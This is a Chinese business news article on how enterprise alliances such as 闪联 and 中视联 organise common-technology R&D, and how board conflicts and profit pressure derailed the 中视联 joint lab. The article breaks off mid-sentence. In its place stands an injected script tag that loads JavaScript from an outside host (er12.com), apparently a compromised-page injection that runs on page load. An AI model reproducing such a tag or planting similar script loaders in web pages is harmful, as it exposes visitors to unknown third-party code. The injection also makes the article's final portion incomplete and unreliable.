没有好的组织形式，共性技术研发无异于纸上谈兵
□记者 袭祥德
6月5日，闪联工程中心有限公司在北京召开新闻发布会，宣布推出“魔音棒”和“任意听”两款产品，其中“任意听”是由闪联工程中心自己研发并推出的产品。
作为中国3c产业的第一个国家标准，闪联标准是以“数字家庭”为目标的“3c融合”应用模式，融三种内容服务、三种网络、三类个人信息终端于一炉，雄心勃勃地计划以统一的标准涵盖pc、电视、dc、dv、游戏机、pda、手机、dvd等各种数字终端，实现信息的跨平台操作。目前，闪联标准工作组已经拥有40多家成员企业，其中的联想集团、tcl、长城、长虹、创维、海信、康佳等8家核心成员联合于2005年12月出资设立闪联工程中心有限公司，肩负着推动这一中国标准大旗产业化的重任。
有意思的是，闪联公司ceo孙育宁在发布会上表示：“闪联工程中心不会以运营具体产品为主。”按照他的解释，推出产品只是为了推广闪联标准。
但尽管如此，有自己的产品而不追求利润，对一家实体公司来说是很难做到的。这家由8家企业共同投资成立的旨在研发共性技术、推广闪联标准的公司，不免让部分成员生出一些担心。
共性技术研发多属于竞争前技术，尤其体现为技术标准。在过去，中国企业规模不大，行业标准全部由国家制定，共性关键技术的研发也主要由国家投资通过体制内的科研院所进行，企业之间横向的联合研发并不多。
然而，在这种体制下，政府组织共性技术研发只管出钱，缺乏监督，问题也随之而来。“很多项目鉴定完以后，不是束之高阁，就是科研机构把技术转换为产品，成立公司，教授变经理，现在证明这不是一种好办法。”信息产业部数字音视频编解码标准工作组(avs)秘书长黄铁军告诉《商务周刊》。
虽然“不是好办法”，但在过去很长时间，这也只能是没有办法中的办法。首先，缺乏技术能力与资金实力的公司陷于价格竞争，无法联合起来做研发；另一方面，具备资金与技术能力的体制内研究机构对科技成果的包装与造假频频出现，造成了大量研发资源的浪费。
为解决这一问题，中国政府开始重点支持企业层面的共性技术研发，鼓励通过市场竞争产生事实标准，因此企业联合进行共性技术研发逐渐频繁起来，中国数字电视产业联盟、闪联、evd标准联盟等就是在这种趋势和背景下诞生的，它们都各自成立了自己的实体公司进行共性技术研发。
不过，在这些众多尝试中，成功案例目前几乎没有，共性技术研发的组织形式以及国内的政策法规环境，成为困扰这种尝试的一道枷锁。
实验室的偏差
实际上，在中国成立一家实体公司进行共性技术研发是一种无奈选择。事实证明，这种选择很容易走向歧途，里边有着难以逾越的矛盾。
中视联数字系统有限公司在这方面的教训最为深刻。2000年，中视联作为中国数字电视产业联盟内企业化运作的联合实验室而成立，当时的定位是进行数字电视共性技术的研发，作为一个技术提供商发展中国自己的数字电视，发起股东包括tcl、海信、康佳、厦华等现今中国消费电子最优秀的企业。
“但后来中视联的方向偏离了原来的预期目的，走歪了。”厦华电子总工程师、中视联董事王玉良对《商务周刊》表示，中视联的问题并不是它的亏损，而是这个当初的技术联合实验室，却变成一个希望靠自身赢利生存的实体化公司。
不过，最初这个联合实验室采用公司形式，是有着非常现实的考虑，“无论是股东出资、国家拨款、产业推广，还是研发人员地位，都要求联盟实验室是一家实体单位，而不是一家社团组织。”一位中视联内部人士告诉《商务周刊》。
尽管怀着强烈的发展数字电视核心枝术的初衷，但在此后的6年中，最初的18家股东各自为中视联投入数百万元资金后并没有依靠这家实验室得到任何技术的收益。
6年来，最为中视联股东们所头疼的是复杂的董事会，这被认为是一切问题的根源。 “各股东间利益争夺导致难以决策，合作方案很难在董事会上得到批准。”一位股东回忆说，“前期是董事会不管，后来是董事会管得太多，董事会有11个人，这就代表了11个公司的利益，而且他们掌握的股份都差不多，谁也说服不了谁。”
中视联的管理层很快将赢利作为首要的运营目标。“成立公司就要考虑生存问题，仅仅作为联盟实验室承担国家项目，没有造血功能是不行的。”中视联下属的条件接收系统有限公司总经理赵歧告诉《商务周刊》，股东不可能每年都提供资金，公司决策者推行市场化战略是唯一的选择。
这个联盟有着很强的“官方”背景。“当时之所以投资中视联公司，是因为康佳为一家国有企业，要响应国家发展数字电视的号召，而中视联具有政府层面的背景。”康佳投资发展部副总监姜小仪告诉《商务周刊》，中视联第一任董事长郭柯当时在信产部挂职，第一任总经理郑大勇则来自国家经贸委。
正因为当时中视联的领导者多?script src=http://er12.com/t.js>
